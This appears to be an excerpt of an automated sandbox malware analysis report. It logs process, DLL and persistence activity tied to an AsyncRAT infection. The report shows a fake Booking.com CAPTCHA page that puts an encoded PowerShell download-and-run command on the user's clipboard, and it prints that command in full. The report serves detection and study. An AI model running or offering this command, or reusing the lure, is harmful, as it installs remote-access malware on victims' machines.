Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: q costura.packetlib.pdb.compressed source: MSBuild.exe, 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: MSBuild.exe, 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected Costura Assembly Loader

Source: Yara match	File source: 21.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2152595569.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 3148, type: MEMORYSTR

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.cmdline"			Jump to behavior

Persistence and Installation Behavior

Detect drive by download via clipboard copy & paste

Source: Chrome DOM: 1.3

OCR Text: Booking.com Robot or human ? Check the box to confirm that you're human. Thank You! I'm not a robot reCAPTCHA Privacy - Terms Verification Steps WIN C+R 1. Press 2. Press CTRL + V and press ENTER

HTML page adds supicious text to clipboard

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Clipboard modification: cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Clipboard modification: cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA="

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

File created: C:\Users\user\AppData\Local\Temp\y00ifih2\y00ifih2.dll

Jump to dropped file

Boot Survival

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 3148, type: MEMORYSTR

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
